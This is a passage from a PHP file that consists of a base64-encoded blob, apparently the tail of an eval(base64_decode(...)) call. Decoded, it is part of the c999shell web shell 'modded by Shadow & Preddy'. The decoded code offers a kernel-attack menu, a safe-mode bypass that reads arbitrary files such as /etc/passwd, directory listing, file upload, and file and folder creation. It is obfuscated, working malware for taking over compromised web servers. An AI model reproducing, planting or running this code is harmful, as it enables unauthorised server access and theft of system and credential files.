R0YWNrIChLcmFkLmMpIFBUMiAoTDMpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyA0Ij5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDQpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyA1Ij5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDUpCiAgICAgICAgICAgICAgICAgIDwvU0VMRUNUPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+CiAgICAgICAgJm5ic3A7CiAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj4KICAgICAgICAgIDxicj4KICAgICAgICBXYXJuaW5nLiBLZXJuZWwgbWF5IGJlIGFsZXJ0ZWQgdXNpbmcgaGlnaGVyIGxldmVscyA8L2Rpdj4KICAgIDwvZm9ybT4KICAgIDwvdGQ+CiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPgogICA8Y2VudGVyPktlcm5lbCBJbmZvOiA8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Imh0dHA6Ly9nb29nbGUuY29tL3NlYXJjaCI+CiAgICAgIDxpbnB1dCBuYW1lPSJxIiB0eXBlPSJ0ZXh0IiBpZD0icSIgdmFsdWU9Ijw/cGhwIGVjaG8gd29yZHdyYXAocGhwX3VuYW1lKCkpOyA/PiI+CiAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNsaWVudCIgdmFsdWU9ImZpcmVmb3gtYSI+CgkgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJscyIgdmFsdWU9Im9yZy5tb3ppbGxhOmVuLVVTOm9mZmljaWFsIj4KCSAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaGwiIHZhbHVlPSJlbiI+CgkgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImhzIiB2YWx1ZT0iYjdwIj4KCSAgPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9ImJ0bkciIFZBTFVFPSJTZWFyY2giPgogICAgPC9mb3JtPjwvY2VudGVyPgogICAgPC90ZD4KPC90cj48L1RBQkxFPjxicj4KPFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxMTYiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPgo8dHI+PHRkIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50ZXIiPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCZkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPlByZWRkeSdzIHRyaWNrcyA6RCA8L2I+PC9hPiA6OjwvYj48L3A+PC90ZD48L3RyPgo8dHI+CiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPgogICAgPGRpdiBhbGlnbj0iY2VudGVyIj5QaHAgU2FmZS1Nb2RlIEJ5cGFzcyAoUmVhZCBGaWxlcykKICAgIDwvZGl2Pjxicj4KICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPgogICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPgogICAgICBGaWxlOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgbWV0aG9kPSJnZXQiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUmVhZCBGaWxlIj48YnI+PGJyPiBlZzogL2V0Yy9wYXNzd2Q8YnI+CiAgICAgIAogICAgICAKICAgICAgCiAgICAgICAgICAgCiAgICAgIAogICAgICAKICAgICAgPD8KICAgICAgCiAgICAgIGZ1bmN0aW9uIHJzZ19yZWFkKCkKCXsJCgkkdGVzdD0iIjsKCSR0ZW1wPXRlbXBuYW0oJHRlc3QsICJjeCIpOwoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsJCgkkZ2V0PWh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOwoJZWNobyAiPGJyPlRyeWluZyBUbyBHZXQgRmlsZSA8Zm9udCBjb2xvcj0jMDAwMDk5PjxiPiRnZXQ8L2I+PC9mb250Pjxicj4iOwoJaWYoY29weSgiY29tcHJlc3MuemxpYjovLyIuJGZpbGUsICR0ZW1wKSl7CgkkZmljaGllciA9IGZvcGVuKCR0ZW1wLCAiciIpOwoJJGFjdGlvbiA9IGZyZWFkKCRmaWNoaWVyLCBmaWxlc2l6ZSgkdGVtcCkpOwoJZmNsb3NlKCRmaWNoaWVyKTsKCSRzb3VyY2U9aHRtbHNwZWNpYWxjaGFycygkYWN0aW9uKTsKCWVjaG8gIjxkaXYgY2xhc3M9XCJzaGVsbFwiPjxiPlN0YXJ0ICRnZXQ8L2I+PGJyPjxicj48Zm9udCBjb2xvcj1cIndoaXRlXCI+JHNvdXJjZTwvZm9udD48YnI+PGI+PGJyPkZpbiA8Zm9udCBjb2xvcj0jMDAwMDk5PiRnZXQ8L2ZvbnQ+PC9iPiI7Cgl1bmxpbmsoJHRlbXApOwoJfSBlbHNlIHsKCWRpZSgiPEZPTlQgQ09MT1I9XCJSRURcIj48Q0VOVEVSPlNvcnJ5Li4uIEZpbGUKCTxCPiIuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuIjwvQj4gZG9zZW4ndCBleGlzdHMgb3IgeW91IGRvbid0IGhhdmUKCWFjY2Vzcy48L0NFTlRFUj48L0ZPTlQ+Iik7CgkJCX0KCWVjaG8gIjwvZGl2PiI7Cgl9CgkKCWlmKGlzc2V0KCRfR0VUWydmaWxlJ10pKQp7CnJzZ19yZWFkKCk7Cn0KCQoJPz4KCQoJPD8KCQoJZnVuY3Rpb24gcnNnX2dsb2IoKQp7CiRjaGVtaW49JF9HRVRbJ2RpcmVjdG9yeSddOwokZmlsZXMgPSBnbG9iKCIkY2hlbWluKiIpOwplY2hvICJUcnlpbmcgVG8gTGlzdCBGb2xkZXIgPGZvbnQgY29sb3I9IzAwMDA5OT48Yj4kY2hlbWluPC9iPjwvZm9udD48YnI+IjsKZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkgewoJZWNobyAiPHByZT4iOwogICBlY2hvICIkZmlsZW5hbWVcbiI7CiAgIGVjaG8gIjwvcHJlPiI7Cn0KfQoKaWYoaXNzZXQoJF9HRVRbJ2RpcmVjdG9yeSddKSkKewpyc2dfZ2xvYigpOwp9Cgo/PgoKICAgICAgICAgIDxicj4KICAgICAgPC9kaXY+CiAgICA8L2Zvcm0+CiAgICA8L3RkPgogIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjgzIiB2YWxpZ249InRvcCI+PGNlbnRlcj4KICAgPGNlbnRlcj5QaHAgU2FmZS1Nb2RlIEJ5cGFzcyAoTGlzdCBEaXJlY3Rvcmllcyk6ICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4KICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj48YnI+CiAgICAgIERpcjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcmVjdG9yeSIgbWV0aG9kPSJnZXQiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTGlzdCBEaXJlY3RvcnkiPjxicj48YnI+IGVnOiAvZXRjLzxicj4KCiAgICA8L2Zvcm0+PC9jZW50ZXI+CiAgICA8L3RkPgo8L3RyPjwvVEFCTEU+PGJyPgo8VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPgo8dHI+CiA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1zZWFyY2gmZD08P3BocCBlY2hvIHVybGVuY29kZSgkZCk7ID8+Ij48Yj5TZWFyY2g8L2I+PC9hPiA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ic2VhcmNoIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNlYXJjaF9uYW1lIiBzaXplPSIyOSIgdmFsdWU9IiguKikiPiZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2VhcmNoX25hbWVfcmVnZXhwIiB2YWx1ZT0iMSIgIGNoZWNrZWQ+IC0gcmVnZXhwJm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJTZWFyY2giPjwvZm9ybT48L2NlbnRlcj48L3A+PC90ZD4KIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PXVwbG9hZCZkPTw/cGhwIGVjaG8gJHVkOyA/PiI+PGI+VXBsb2FkPC9iPjwvYT4gOjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIiBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9InVwbG9hZCI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZGZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJtaW5pZm9ybSIgdmFsdWU9IjEiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iVXBsb2FkIj48YnI+PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRlcj48L3RkPgo8L3RyPgo8L3RhYmxlPgo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogTWFrZSBEaXIgOjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJta2RpciI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJta2RpciIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ3JlYXRlIj48YnI+PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRlcj48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IE1ha2UgRmlsZSA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibWtmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZmlsZSIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJmdCIgdmFsdWU9ImVkaXQiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ3JlYXRlIj48YnI+PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IEdvIERpciA6OjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImxzIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iR28iPjwvZm9ybT48L2NlbnRlcj48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IEdvIEZpbGUgOjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJnb2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iR28iPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz0wIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9Ijk5MCIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PHAgYWxpZ249ImNlbnRlciI+PGI+LS1bIGM5OTlzaGVsbCB2LiA8P3BocCBlY2hvICRzaHZlcjsgPz4gPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9YWJvdXQiPjx1PjxiPk1vZGRlZCBieTwvYj48L3U+PC9hPiBTaGFkb3cgJiBQcmVkZHkgfCA8YSBocmVmPSJodHRwOi8vcm9vdHNoZWxsLXNlY3VyaXR5Lm5ldCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlJvb3RTaGVsbCBTZWN1cml0eSBHcm91cDwvZm9udD48L2E+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjwvZm9udD4gfCBHZW5lcmF0aW9uIHRpbWU6IDw/cGhwIGVjaG8gcm91bmQoZ2V0bWljcm90aW1lKCktc3RhcnR0aW1lLDQpOyA/PiBdLS08L2I+PC9wPjwvdGQ+PC90cj48L3RhYmxlPgo8L2JvZHk+PC9odG1sPjw/cGhwIGNoZGlyKCRsYXN0ZGlyKTsgYzk5OXNoZXhpdCgpOyA='));
?>